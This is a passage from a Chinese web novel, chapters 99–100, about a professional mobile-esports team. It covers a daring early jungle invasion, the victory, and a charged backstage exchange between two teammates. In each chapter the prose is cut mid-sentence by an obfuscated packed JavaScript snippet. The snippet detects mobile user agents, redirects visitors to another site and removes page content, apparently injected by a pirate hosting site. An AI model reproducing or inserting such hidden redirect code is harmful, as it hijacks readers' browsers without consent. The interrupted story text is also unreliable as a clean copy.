“1!” 郁秋抬眸,重新环绕了一遍自己身边的队友,嘴角不由得扬起浅笑,似是无奈地妥协道:“行,就按你的思路来。” “比赛开始!” 99.反野 “来来来,踩住中右。” 一开局,JYY的中野辅三人就率先抢占了中路的右半图视野,Qian的辅助踩在河道里的小草里。 开开瞟了一眼小地图三人的动向,不禁紧张地咂咂嘴:“还是佩服Night,这阵容都敢有打野区的想法。” 他一直因为怕毁士气所以都不敢说出口,虽然他们的阵容前期强度是六四开,但开局就反野的成功率估计不到三成。 虽然在场的选手都心知肚明这个概率。 One:“但现在看上去对面对此防备没做够,都没探出这边草的视野,所以还有机会。” 开局28秒,双方兵线近乎在中路交汇,SupS的中辅也在地图上露出了视野——二人踩好了地图的左半图视野,杜绝了常规比赛下大司命偷红区小野怪的想法,甚至从走位隐隐看上去,他们有进JYY蓝区的想法。 Qian见对面中辅已经暴露了偏靠左的视野,直接毫不犹豫孤身往敌方蓝区走去。 “郁秋你别被打状态,等我把兵拉过来。” 夜雨辰一提醒完郁秋就卡在这个时间点走出草丛,在小兵交汇前率先将小兵的仇恨值往自己的身位上拉了过来,顺便在原地小扭了个头躲掉了火舞朝他甩来的扇子。 郁秋没有答话,他在小兵被拉过来的第一时间便走出了草丛蹭了一点夜雨辰的中单兵线并和他保持着一定的距离保证不会被对面中辅同时消耗到两人的状态。 与此同时,他还用一技能搭了座桥,一直延伸到了正在不停地被少司缘骚扰的镜的蓝区里。 见状,夜雨辰眉头轻微一皱。 怎么学的是一技能? 这个英雄一技能的伤害加上野区保护机制,伤害几乎是微乎其微,可以说打不出一点作用。 如果是用一技能反野,那反野成功的概率下到了不到二成。 开局35秒,夜雨辰的海月三个一技能一清完所有兵线,郁秋就直接通过搭建好的桥直勾勾地跨过两座墙侵入敌方蓝区,夜雨辰则是从敌方一塔和蓝区的位置直勾勾地走进对面野区,对面苏烈一直跟在他的屁股后,试图阻挠他。 此时的林元因为在buff刷新的第一时间就面临到了Qian少司缘的骚扰,加上他通过他们团队的小地图看到了JYY中野的站位,所以第一时间便明白了JYY有打蓝区的想法,果断先拉开了蓝buff的仇恨值,试图把蓝buff拉脱,等待队友支援再回来抢这个buff,避免自己的血量被率先消耗。 SupS的中辅对地图反馈的反应也很快,但奈何中路兵线已经交汇,火舞不得不先清线到二级,苏烈虽然是第一时间回防,但根本拦不住有技能加速加成的郁秋。 刚进野区的时候,Qian第一时间把蓝buff的仇恨值从镜手中接过并吸引到草里。于此同时,他卡着仇恨值的极限距离,还将少司缘二技能的第二段定身一直捏在手里,并一直用平A交替着蓝buff和林元的镜来打,顺便和队友报信号:“他上来我就定他打他一套。” 这样就算他敢上来抢buff,也很大可能会搭上命。 郁秋一边打着敌方的蓝buff,一边将其拉进了草丛里防止被镜看到蓝buff的血条。 他一直记得夜雨辰刚刚对他说得话——他只负责打buff就好。 何况他学的技能是一技能,只能将伤害集中在蓝上,无法做到同时消耗蓝和敌人的血条。 所以说,如果他这波拿不下这个buff,不仅他的命要搭上,估计夜雨辰和Qian的命要一起陪葬。 夜雨辰也意识到了这件事,不禁咬紧牙关,全身汗毛已然竖起,心里已经不知道暗骂了多少次郁秋。 在他的设想里,是郁秋靠着二技能的强化同时打对面想上来抢buff视野的人和刷野,这样可以一举两得边打buff边消耗对手状态。 现在少了一个人的伤害,他也无法拿捏住究竟能不能反到这个蓝。 而且他因为刚刚技能空窗期,一直在被苏烈追着干扰着,状态不得不被消耗一些。 他深吸一口气,尽可能保证自己的冷静,咬咬牙地对Qian道:“你注意一下苏烈,我技能好了,我去卡镜。” 说完,二人的站位便将站位和防守的对象一并交换。 夜雨辰用自己超长的一技能边缘率先在不舍得就这么放弃蓝buff、还想争夺一下蓝的镜身上挂了层印记,如果镜还有想上来的念头,那他便会用二技能控住镜零点几秒,Qian会根据情况来知道率先要打谁的。 此时,对面的苏烈抵着少司缘的威胁直勾勾地往草丛走去,在走到技能范围里,他便直接使用二技能冲锋想把蓝buff推出草丛,方便镜直接双惩抢回这个蓝。 可在他二技能使用的刹那,就被Qian的少司缘瞬间用定身定在了原地。 第一次骚扰失败。 开局40秒,对面火舞清完线迅速赶来支援,而蓝buff的血线已经到了镜的双惩斩杀线,夜雨辰在阻拦镜的同时注意了站位,保证了一技能能同时打到蓝buff和镜两人,帮郁秋打几下蓝buff增加了反野速率。 夜雨辰看buff血条的下降速度,眉头皱得更紧了。 这个速度简直太慢了。 此时,他和Qian已经被消耗了接近四分之一的状态,而对面还有个满血火舞,半血苏烈以及接近满血的镜,而他们的站位比较深入敌方的蓝区,所以无论如何,他们现在必须开始边反野边筹备撤退的道路了。 但他并没有说出口这句话,而是提醒道:“往后撤一点,分散站位,别被火舞踢三个。” 郁秋一言不发,而是先搭好第二个一技能的桥用做退路,并控制好了极限距离,将蓝buff完美的卡在草里,自己却已经走上了退路,随时可以离开。 这时,One报信号了:“阿离过去了,我也在路上,但比他慢。” 想也不用想,阿离包过去的位置一定是JYY三人的退路——蓝区的河道窄口。 此时JYY的三人相当于同时被四个人包围了。 夜雨辰吞了口唾沫,额上不禁划过一道冷汗。 虽然不想承认,但他已经心知肚明——两个人的伤害和三个技能去拦四个人,快拦不住了。 最关键的是,对面几个人的血量状态加起来近乎都是满血。 他边往后退,边试图继续再打几下对面的状态。倏地,火舞在地图漏视野的一瞬间,直接使用闪现配合一技能配合镜的一技能瞬间突进了蓝区的草丛里里,完全没给Qian和夜雨辰任何的反应时间。 Qian甚至因此被火舞一同控住,吃了两个人的一套伤害瞬间降至残血;夜雨辰虽然没被控住,但是也被这两人的伤害波及到,血条下降至了半血;好在郁秋的站位没被控到。 但是这二人的伤害除了打到了Qian上,同时还打到了蓝buff上,蓝buff的血量瞬间达到了镜的双惩斩杀线上,却没达到郁秋的惩戒斩杀线上。 林元在看到蓝buff血线的第一时间配合影子降下惩戒,两道惩戒接连从天而降。 听着惩戒的特效声。 夜雨辰和Qian不禁屏住呼吸。 完了。 随着听到游戏里两个等级升级的音效,所有人都心知肚明——此刻的JYY,一个残血辅助、半血中单、虽然打野是满血,但他一级是没有足够的作战能力和多余的一技能逃跑,所以他肯定会被对面四个人灌伤害致死的。 反野计划最终告知失败! 这时,郁秋如释重负终于松了口气,说出了这把对局里的第一句话:“你们先往后拉,我垫后。” 什么?垫后? 夜雨辰和Qian同时疑惑地看向郁秋的大司命——他的走位替他们挡住了对面镜、火舞和苏烈三人的追猎。 两人见到这个画面,瞬间瞠目结舌。 此时,对面的镜脚下居然空无一物,等级还是在大大的数字“1”,而郁秋的脚下则是带了个蓝buff。 怎么可能?居然抢到了?!这都能抢到?! 简直太匪夷所思了。 开开不禁爆了一句粗口:“我草,牛b。” 郁秋能在这个时间抢到buff,只能是卡着双惩中间的间隙落下了惩戒,这根本不知道是运气好还是精准卡住了这个只有一眨眼时间不到的间隙。 郁秋不屑地看着对面三个人,冷哼一声:“都是玩具罢了。” 大司命的技能本身就克制苏烈和火舞,二技能的强化普攻能同时打多个目标并且带有一定的吸血天赋,配合着一技能的移速加成,他这时候打技能在空窗期的苏烈、火舞和镜,简直跟遛狗没什么区别。 就算镜还能勉强逃脱,但中辅二人最好的状况都是残血逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294591|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了。 不过,夜雨辰和Qian现在还面临着另一个问题,他们的退路上有个公孙离——一套技能配合能把他们俩收割并且安心逃跑。 One现在的状态是半血,似乎是因为失误有点不好意思道:“没博弈过心态,不过问题不大,他没狂暴了。” “没狂暴啊?”Qian听到这句话嗤鼻一笑,“那他狂什么?” 说完,他的定身技能cd刚刚好冷却结束,直接往前走位逼近接近满血的公孙离。 虽然他现在是残血,但给人一种看这个满血射手已经在看尸体的压迫感。 不过下一秒,公孙离似乎是意识到野区裂开,便已经开始往塔下后退,他深知他自己这个位置从包夹的猎手变成了被中射辅三人包夹的猎物,所以并没有对二人起杀心,迅速开始后撤。 Qian看公孙离一生出退意便没去继续往前追,而是给夜雨辰丢了一个一技能,二人一起回了点状态,并重新往中路靠去。 “我去,好多残血!我来了!” 这时候,开开如计划般从上路赶来了下半图。他看到郁秋此时在一打三,虽然他现在被打成了半血,但对面中辅已经被他打成了残血,即将击杀,而镜因为已经是半残的状态早已后撤出了他的技能范围,立马开了个疾跑开始收割。 “First Blood!” “Double Kill!” 随着系统的接连播报声,一句低骂声也随即而至—— “畜生!” 郁秋眼睁睁地看着自己拉扯了大半天的人头,在即将到手的瞬间被开开一枪两枪直接收割走了人头,没忍住破口大骂。 开开一看到开局两个人头到账没忍住开怀大笑:“哈哈哈!我真的起来了!” Qian翻了个白眼:“笑什么,出息。” 夜雨辰冷静指挥道:“过线,反猪。” 现在对面阵亡了两个人,虽然反红肯定来不及,但是还来得及再反个小野。 将团队收益最大化。 郁秋没有说话,只是照做着,开开一边蹭线一边疑惑道:“不对啊Night,你不是说让秋哥打野指挥吗?怎么全程都是你在说话?” 夜雨辰一噎,这才想起来郁秋除了反到野说了几句话后就再也没说过一句话,加上他开局学的一技能差点导致他的计划崩盘,咬牙道,“他哑了吧。” 此时,他正好在野区帮郁秋提速打自家的蓝buff,顺便蹭经验快速到达四级。他不经意地瞥了一眼自己和郁秋的三级经验条,再看了一眼自己因为打架逼人位置而即将耗光的蓝条,突然心生一计,脱口而出道:“没蓝了哥,给个。” “Night你犯傻了?”开开不禁发出笑声,“你又不是不知道,没蓝吃个血包和出法穿鞋的事就好了,就算我们反到了蓝,你现在找秋哥要家里的一蓝不就是在耽误他的发育节——” “呵。” 话还未说完,郁秋就停止打手上已经变成残血的蓝buff,扭头去打小野,虽然依旧蹭到了蓝buff的野怪。 夜雨辰心安理得的收下这个让出的蓝buff,笑盈盈地对开开道:“你刚刚说什么,刚刚特效声太大了我没听清。” 开开瞠目结舌:“不是,这都行?!” 要知道,就算一个团队反到了对面的蓝buff,但一般的对局自家打野都不会把蓝buff让给队友,因为他们也需要发育和刷野刀层数,而且虽然自己身上有个蓝,但下一个敌方的蓝他们还不一定能反到,这中间没有蓝buff的冷却空隙时间也很容易影响打野这几十秒的刷野节奏。 One恍然大悟,一本正经对郁秋道:“哥,我要一红。” “不对,哥,我也要一红!”开开也立马反应过来,开始从上路往自家红区跑,一边诚心诚意道:“对不起我不该K你人头的!我愿意给你当狗,给我个红吧!” 看着两个人都奔向红区,郁秋不为所动,果断地收下了自家的红buff。 “……”夜雨辰看着这边射二人没节操的模样挑了挑眉。刚好,郁秋在这时候来到中路帮他一起过了第四波兵线,他瞟了一眼对面的蓝buff刷新时间,轻笑一声,“来得正好,刚好来反第二个蓝buff了。” 目睹了全程并一直跟在中野二人旁边的Qian沉默了许久,才硬生生地从喉咙深处逼出一个字:“啧!” 100.故人之姿 “大司命配合少司缘的大招顶在最前面扛住了三个人加水晶的伤害;海月把绕后的镜大招拉进小黑屋,马超不停在边缘给着压力,伤害恐怖如斯一枪脆皮半管血……等等,狄仁杰在干什么?!他在推水晶!此时此刻SupS没有一个人能拦住他的行为!让我们恭喜JYY获得本场的胜利,率先拿下一分!” 一摘下耳机,主持人高昂的解说声和观众的欢呼声瞬间灌满JYY所有队员的耳朵,震得人心发颤。 观众的喧嚣声里,五人互相对望着眼里只有和自己一起并肩作战的好兄弟——开开完全无法藏匿的兴奋、郁秋如释重负的微笑、夜雨辰稳操胜券的自信、One的轻松如常、Qian难以抑制的上扬嘴角……队友对胜利的热血他们都尽收眼底,并捕捉到了每个人眼中和自己共同的神色——意犹未尽。 击掌庆祝都无法宣泄出他们此时此刻内心的澎湃,五人此时都耐不住性子,迫不及待地疾步下台走回休息室。 这一把游戏对太多人的意义都太大了。 开开是第一个闯入休息室的,还没等门关上,他就忍不住手舞足蹈:“所到之处寸草不生!太爽了太爽了,这一把真的铭记历史!这真是我打职业来打得最爽的一把对局了!” 虽然他不是这次反野的主力,但他一年的职业生涯里可是从没打过如此大胆的、更不用说居然还是成功率如此渺茫的开局战术! 最关键的是,开局的反野居然成功了,所以后续节奏的连锁反应直接导致一整把的游戏变成了JYY的运营爽局! 零落正坐在休息室的电视机前,屏幕上还不断地播放着他们刚刚那一把对局的精彩操作:“厉害,很强。” One懒洋洋地坐在他旁边伸了个懒腰:“舒服,推推塔刷刷野就赢了,这把根本没我什么事。” 在其余队友的帮助下,这一整把游戏,敌人根本没人有机会去抓他针对他,毕竟SupS一整把都被他们的运营节奏牵着鼻子走,完全找不到任何的翻盘机会点就被平推了。 这时,电视机的精彩回放刚刚好播放到夜雨辰的海月大招拉着林元的镜进了小黑屋的画面。Qian不禁眼角抽了抽,幽幽瞥向夜雨辰,夸赞道:“前期恶心人,后期也恶心人,不愧是你。” Qian身为此次反野战术的主力之一,深刻知道这次战术的成功除去郁秋惩戒抢到了buff的这个最佳功臣,也全然离不开夜雨辰从开局清兵开始的到反下蓝buff期间,所有的技能伤害打满无一落空、控制衔接完美和走位躲技能避免进野前被白消耗状态的功劳。 “嗯,我吗?”夜雨辰眨了眨眼,理所当然道,“这叫提高容错率,我肯定只用盯着镜打,火舞经济不够所以威胁不大,所以就只有他对我们顺风的威胁最大,因此就算我比镜经济高了两千,我也需要做个小物抗装以防万一被他秒杀,这不叫恶心。而且比起说我恶心——” 他突然勾起一抹玩味的笑看着Qian:“还是比不过你的,你更恶心点。” 位置压迫、及时扛塔、回复拆火、提供视野、果断留人……Qian把辅助该做的所有细节都发挥得完美无瑕,这种拉满细节的辅助只会让对手的对局环境更加苦不堪言。所以如果真比谁更恶心一点,夜雨辰还是自愧不如的。 “喔喔,这把的MVP终于出来了!” 这时,电视机的直播突然开始公布这把对局MVP的最佳归属,开开第一时间就迫不及待地趴在电视机前翘首以盼。 是他吗?会是他吗?! 这把游戏他战绩可是5/0/4,全队参团率高达80%且死亡率为0!输出占比23%,经济占比25%……这把如此惊艳的数据,他终于要拿下这几周以来的第二个MVP了—— 下一秒,电视屏幕上便闪出Qian的个人海报。 ——吗? 开开大跌眼镜,失声道:“凭什么啊?我举报!这肯定是内幕!!” Qian轻蔑一笑,洋洋得意道:“凭你爱K头、凭我百分百参团、凭前期我们节奏起飞跟你没有太大关系你只是简陋的……哼,我这叫实至名归。” “我呸!前期节奏起飞的最大功臣不是秋哥吗?”开开哭着指向一进休息室就葛优躺在沙发上默不作声的郁秋,手指气得忍不住有些颤抖,“没有他一级抢下buff我们后面哪来这么舒服的优势?所以MVP不该是他的吗,再不济还有Night啊!这不是他提出来的战术吗!怎么可能是你这个畜生!” 仰靠在沙发上的郁秋习以为常,沉默不语。 夜雨辰坐在旁边默默喝了口水,不以为意。 One看着开开一副欲哭无泪的模样,没忍住给他递了一瓶刚开的水,安慰道:“开开不哭,喝奶奶,MVP而已,咱不稀罕。” 夜雨辰呛到了:“咳咳。” 郁秋抿紧嘴唇,直接坐起身。 Qian剥开一颗新的棒棒糖塞进嘴里,低笑了两声。 “……”开开一把抢过这瓶水,没忍住朝One挥了几拳,气急败坏地笑道,“滚!有病!” 零落忍俊不禁,但还是没忘了正事:“那下把你们还想打什么战术?放开了打,随便打。” “双刺客吧,和SupS这把差不多的阵容?”还没等其他人有想法,郁秋就直接开口答道。他站起身,“你们先讨论,我先去洗手间洗把脸冷静冷静,不然下把状态可能会变形,其他阵容也可以。” 说着,他拍了拍坐在自己旁边的人的肩膀。 夜雨辰疑惑地睨向他:“?” 郁秋别有深意地看着他:“你陪我一起去。” 夜雨辰挑眉:“……?” 看着中野两人离开休息室关紧门后,开开盯着他们离开的位置,满是疑惑道:“他俩是小学生吗?上厕所还要结伴。” 零落和One不以为意,只有Qian叼着棒棒糖,小声地冷哼一声:“故人之姿。” 除了反了以外,其他的简直和那两家伙完全一样。 * 后台宽阔的走廊上,陆陆续续的几个工作人员在忙碌走动着。 夜雨辰跟在郁秋身后,不情不愿道:“你去厕所带我干嘛?” 虽然刚刚一把游戏只有十分钟不到,但也是很耗费心神的一把对局,所以他还是想先放松一会准备下一把游戏。 郁秋没有回答他。 见自己被无视了,夜雨辰轻皱起眉。从对局开始到现在,就算他再怎么迟钝都意识到了一件事情:“你为什么从比赛开始到现在都没说过几句话?” 沉默寡言简直太不像郁秋的风格了。 而且夜雨辰更不爽的是,明明刚刚开局的时候说好入侵野区还是让打野指挥,他只是提供了一个理论思路,结果刚刚的一整把游戏里里,主指挥几乎全是夜雨辰,副指挥则是Qian,郁秋根本就没吱过几句话! 郁秋:“……” 夜雨辰见又一次没得到答案,脸色一沉,逐渐失去了对郁秋如此爱答不理的模样的耐心,插在兜里的拳头已经不自觉地握紧:“你——” 话还没说完,倏地,他的肩膀猝不及防地传来一股巨大拉力,他还没来得及反应,眼前便一花。 “嗖!” “砰!” “咔哒!” 耳边接连响起疾风声、关门声和锁门声,还没等夜雨辰反应过来,他就被拉他的人轻摔在门上。在后背贴上门的同时,他的后脑勺又被紧紧护住,避免了他这一摔直接撞到了头。 “……” 等逐渐反应过来发生了什么,夜雨辰抬眸看着这个突然把他带进这个空无一人的休息室、一手撑在门上一手护着自己后脑勺正俯视着他的人,眼底里满是杀意。 两个人面对着面,间隔不过十厘米,似乎能感受到对方的一呼一吸。 此情此景,夜雨辰没忍住吞了唾沫,脑海里不禁闪起一周前的某间更衣室里,他被郁秋锁在墙边扒衣服的画面,脸色瞬间黑如锅底。他忍住直接打人的冲动,冷声道:“你到底要干什么?” “……” 郁秋没有答话,而是端详了他片刻后,逐渐俯下身。 眼前近在咫尺的面容不断放大,夜雨辰逐渐瞪大双眸,全身不知不觉地绷紧,一时忘了挣扎。 下一秒,他一侧的肩膀上被重重一搭,撑在门上的手同时环抱住了他。 “?” 夜雨辰的心跳倏地漏跳了一拍,但整个人陷入了更加懵逼的状态。他垂下眸,不解的眼神看着这个突然把头搭在自己肩上的人。 只见郁秋紧绷的肩膀终于渐渐变得平缓。他吐出一口浊气,哑声道:“压力太大了,借我靠会。” “哈?” 夜雨辰扬了扬眉,下意识抬手想推开郁秋,但纠结了一瞬,他还是放下了手。 但心里依旧不爽。 要靠一会也不能二话不说动手把他拉进来吧? 夜雨辰有些不耐烦地瞥向一侧,呼吸不知不觉地放缓,心跳声却愈发加重。脖颈上的肌肤正被发丝轻轻摩擦剐蹭着,挠得他心痒难耐。 而且这借靠究竟要被借多—— “嘶!” 突然,肩上传来的温热刺痛打断了夜雨辰的思考。他立马抬手推开郁秋,低声惊怒道:“你tm放嘴!有病啊?!” 属狗的吗?突然偷袭咬他就算了,怎么还不是隔着衣服咬的?! 奈何,他这一推的力量并没有多大,根本推开郁秋,反而还被郁秋升起了防备心,直接一把抓住了夜雨辰的手腕,防止他再挣扎。 见推不行,夜雨辰毫不犹豫地直接上脚踢,但腿刚往上抬起一些,他就一下被郁秋的腿压了回去。 “……” 夜雨辰见自己被压制得死死的,一咬牙,直接抬起另一只手被郁秋紧紧环抱住的手,狠狠地在郁秋腰上一拧! “唔!” 下一秒,夜雨辰没忍住发出一道吃痛的呻吟,但又迅速憋了回去。 肩上传来的刺痛更深了。 丫的,这一拧,郁秋这逼反而下嘴更用力了。 但他现在可是紧贴着门的,怎么敢发出声音! 谁知道门后外面的走廊有没有工作人员突然经过然后盯到这些动静。 此时此刻,夜雨辰心里后悔万分。 不该心软的,刚刚被强行带进来的第一时间,他还是该果断地直接动手的。 现在动手不仅拦不住,还会更疼。 郁秋到底在发什么疯! 过了好一会,郁秋才缓缓站起身。他心满意足地欣赏了会自己在夜雨辰雪白的肩上留下的泛着红的深厚印记后,礼貌性地帮对方拉了拉衣领,脸上全然没了刚刚任何的阴郁沉默,如沐春风地微笑道:“刚刚场上给我那么大选择压力的时候,你就该意识到我会报复你了。” “滚。”夜雨辰没好气地推开郁秋,同时也拉开和他一长段距离。他整了整自己的衣领,揉着自己还在不断发疼的肩膀,冷笑一声,“‘报复’?” 郁秋轻笑一声:“前脚上台前我刚跟你说完我的阴影,后脚你就直接强行拽我去直面我的弱点,还是在成功几率如此渺茫的情况下,压力能不大吗?” 这场比赛里,不仅是选择是否要施行这个战术上的压力,对反野结果的所有未知也一直在给郁秋不断地增加心里上的压力,因为虽然阵容不一样,但这战术和他第一次打职业比赛并没有多大差别,他太害怕重蹈覆辙了。 所以在这种压力下,他也不好去多说几句话,不然情绪一下没控制住,可能导致整个操作上的再次崩盘。 “几率渺茫?”本来现在心情被郁秋搞得不太好的夜雨辰在听到这句话后直接把在比赛场上对郁秋的存档怒意读档了回来,“知道成功率低你为什么一级还学一技能?这不是火上浇油?” 要不是因为郁秋这个学的一技能,他们反野的不确定性根本不会突然增大,甚至在看到郁秋一技能释放出来的那一刹那他都想说要不别进野区了,可是Qian已经深入敌营,他不能临阵脱逃。 郁秋理直气壮道:“是你让我相信你的,你说我只顾着反野就好,其他的担忧让我都相信你,所以我学了一。” “哈。”夜雨辰不怒反笑,“正常来讲大司命反野都是学二技能的吧,而且反野的前提是我们三个人的作战能力能同时压住对面三人吧?学个一技能到底是谁给谁压力啊,直接让我们在野区三打三的时候少个人的输出伤害,本就需要拼一下的局面直接变成了殊死一搏。” 郁秋无辜道:“可只能学一啊,你不是叫我一起帮你抢一级线吗?” 夜雨辰冷眼看着他,冷声道:“海月一技能可以清完一波兵线,线权大于火舞,所以抢完线完进野又不是不行,要不是对面没做足前期防备部署,我们早就出事了。” 郁秋耸耸肩,无奈道:“虽然你说的思路这些都可以成立,但是——” 倏地,他脸上的轻松瞬间收敛,“那是你的理想理论。” 场上不好发生争吵,但现在是在场下,二人也直接说出了游戏对局里思路产生的分歧,互相对峙着。二人的眼神里摩擦着不小的火花,将整间休息室的气氛都点燃得紧张了起来。 郁秋严肃道:“正常来讲,镜刷一个buff的时间是38秒,如果林元无视Qian的骚扰一直在打buff,然后我学的是二技能,那我们成功进入敌方野区的时间将是35秒甚至更久,这个时间点他已经快打完buff了,就算他没打完,加上你刚清完兵的技能还在cd的情况,林元是很大概率会选择掉状态和我拼惩戒,他惩戒的斩杀线比我高了两倍甚至是三倍,就算你们再怎么跟我信誓旦旦会拦住他,我也没有把握抢得下这个buff,所以我31秒放的一技能把桥提前搭过去提前给他了一个心里压力,让他升起一种我随时会进去和Qian一起二打一的感觉,这样他才会不敢对buff动手,这也是增加最后成功率的一种方法。” 夜雨辰双眸微眯,没有第一时间争辩,而是在不断地思索并分析着郁秋这个说法的合理性。 所有的电子竞技比赛就是这样,对局里遇到的问题和摩擦是不能在场上第一时间解决的,因为结果已经发生了,第一时间发生争吵也无济于事,反而还会影响队友的心态和士气。 所以,场上的问题,无论结果是好是坏,都需要带到场下同队友一起及时复盘——坏结果的需要第一时间找出问题,并及时纠正;但如果结果是好的,那他们应该找到队友间发生摩擦的根源,并去分析研究这个结果究竟是阴差阳错带来的收益,还是另一个人的思路真存在问题需要及时改正。 郁秋继续道:“如果你想我学二技能进野,那我就一定不能去蹭你的兵线,而是必须开局直勾勾地走进野区,虽然这也可以打野区,但这样就变成了你和Qian去抢中线,一起去压对面中辅的位置,如果是这样,那林元很大概率也会第一时间选择和我拼惩戒抢buff,那我失败的概率照样很大。” 说完这些自己的思路,他扬扬眉,嘴角一勾:“你也知道我现在多怕失败的,所以我觉得我学一反而是最稳妥的打法。” 看着郁秋在这时又咬他又挑衅他的,夜雨辰拳头一紧。他极力克制着内心暴力的冲动,咬牙:“行,这个复盘算你过关,但你就不能提前跟我们沟通一声好让我们有个心理准备吗?” 郁秋轻笑道:“其实我是在你拉兵线仇恨的时候才学的技能,就那么几秒的间隙,来不及长篇大论。” “……”夜雨辰再也按捺不住,摩拳擦掌地走到郁秋面前,朝他脸上挥了一拳,“那你干嘛做一整把哑巴?不是说你来指挥吗?” 郁秋接下这一拳头,悠悠然道:“主意是你出的,我安心配合就好了,你也让我相信你,反正你指挥不是也乐在其中嘛。” 准备再次挥出的拳头一顿,夜雨辰皮笑肉不笑道:“是吗?” 下一秒,他收回拳头直接抬脚狠厉地踹了一脚郁秋。 郁秋被踢了个踉跄,拍了拍自己衣服上的脚印,惋惜地叹了口气:“我一级清线的时候还是应该不对你仁慈一点,不出打野刀蹭你更多的经验。” 现在前期的打野刀和辅助装一样,不会分队友经济,所以不出打野刀蹭夜雨辰的兵线的话,他能吃到更多的经济。 夜雨辰翻了个白眼,丝毫没感受到郁秋的任何善意:“仁慈个屁,你要是不出打野刀我就不能二级,那你就一个人孤零零地去反野在对面野区等着敌人给你收尸吧!” 郁秋笑盈盈道:“我记得你叫我把比赛当巅峰赛来打来着,所以如果我不出野刀我觉得你也会原谅我的。” 夜雨辰没忍住竖了根中指:“原谅个鸡毛,你好歹你也是打了两年职业的人了,又不蠢,要是意识不到这只是让你这把打凶一点的说辞,真傻乎乎地一人单干SupS全队,那你职业生涯也就这样了。” “呵呵,打了两年,我不仅不蠢,还有素质。”郁秋悠悠地把夜雨辰的中指抓住并放下,看着对方的眼神突然变得含情脉脉,“不过,谢谢你。” 夜雨辰一哆嗦,全身鸡皮疙瘩瞬间竖起:“啊?” 郁秋这一出突然的变脸把他整不会了。 郁秋诚恳地发自内心道:“无论如何,谢谢你提出来打这个战术。” 夜雨辰忍着这突变的画风带来的不适,紧蹙着眉道:“这有什么好谢的?不就是一个普通的激进战术吗?而且这把输赢结果对我们进卡位赛又没太大影响,最多就是战队对手不一样而已。” 他会提出这个战术想趁着今天的场上机会打得激进爽快一点而已,团队赛安分守己的系统化节奏打多了,他感觉自己像个机器人一样,思维固化,很不舒服。 而他和郁秋之前在开赛前一个月的配合度,他觉得还是可以在场上打出意想不到效果的,只是他需要拉郁秋一把。 郁秋问道:“除了我,你还记得其他人在听到你提出战术时的第一反应吗?” 夜雨辰眉头紧锁,回忆了下——他记得,零落是处于中立的态度,既支持这个战术,也反对这个战术;而开开第一时间其实是拒绝施行这个战术的;One是一个无所谓都可以的态度,但是一句“风险越高,收益越大”似乎是在隐隐支持着他;而Qian也是同理,虽然嘴上是都能打好配合,但言语之间也是对这个战术的跃跃欲试。 郁秋无奈地笑道:“无论我有没有直面我自己的阴影,这个战术都对我们整个战队的团队造成不小的影响。” 夜雨辰一愣。 他从未想过,郁秋会给出一个这样始料未及的答案。 郁秋浅笑道:“每个人的心里都有一道坎,别看他们一个个那么轻松无常,其实他们心底里的压力也比正常选手大不少,特别是在赛前。只是我们每个人的发泄方式并不同,也有人会把情绪藏匿得很深,深到几乎没有人察觉得出来而已。” 夜雨辰不禁翻了个白眼。 所以郁秋的发泄压力就是咬他吗? JYY现在的战队成员和大部分职业选手的经历都不太一样—— 郁秋是在Fire呆了一年,以“联盟第一打野替补”的身份转进了邱子幸在的JYY里直到现在,所以对赛场已经有了一定的了解,但又不多,一路上可谓从未见过光明,除非用非常手段。 零落和开开是一年前成为的职业教练和选手,然后直接进到了邱子幸在的JYY里。 所以他们可能见过一时座无虚席的比赛现场,但最终收获的东西只有观众的唾骂、舆论的压力、和粉丝的失望。而且战术方面,身为“队霸中单”的邱子幸一定有他专门的要求的。 所以零落可以说是这个赛季开始才有机会认真琢磨并尝试为自己的战队设计战术的,因此他也不敢上来就提出太过激进的打法,只敢安分守己,先让自己和队员们都适应所有战队都固有的一些战术、体系和思路。 开开的话,也和零落大差不差,但他这一年的职业遭遇都已经让他对比赛的繁华景象没什么太大的肖想了,只是性格比较乐观而已。 Qian和One一直呆在JYY,也为战队拿到过数次冠军。他们和曾经的队友一并共享荣誉,一并讨论战术并练习到第二天白天过,所以他们俩曾经打出来过的战术和尝试过的打法,一定比现在零落提出来的多了不少。 One是六人里最年长的,他见识过JYY从默默无闻到天下皆知再到万人嫌弃的全程,而且加上已经到了半退役的年龄,他的心理素质一定是六人里最好的。 Qian是和郁秋同一期成为职业选手的,但他的遭遇却比郁秋精彩了不知道多少倍——刚进战队的第一个赛季就成为了冠军选手,见证并拿到了许多职业选手一辈子都碰不到的金色雨荣誉和奖杯。 但后来邱子幸的搅局以及自己在战队签下的三年合同,让他亲眼目睹了以为能一直做下去的五人冠军兄弟分道扬镳、台下支持他,为他欢呼的观众一个个失望到消失不见、而以前认为唾手可得的荣誉,在现在简直就是黄粱一梦。 没有人会喜欢这种从万众瞩目的顶峰到跌落到无人关注的万丈深渊的感觉的。 他们俩的内心深处一直都怀念着曾经获得冠军的那段时光,只是时间的流逝和人生经历上的打击,逐渐消磨掉了他们曾经获得荣誉过程的记忆而已。 他们五个人步入职业的目的可能各不相同,但每个人在一开始,心里都一定有一股属于电竞少年最原始的冲劲,但现在他们都或多或少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304162|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为自己的经历、遭遇或年龄逐渐没了这股劲,就算他们想有,也很难随心所欲的想有就有。 因为少年心气是不可再生之物。 但夜雨辰有。 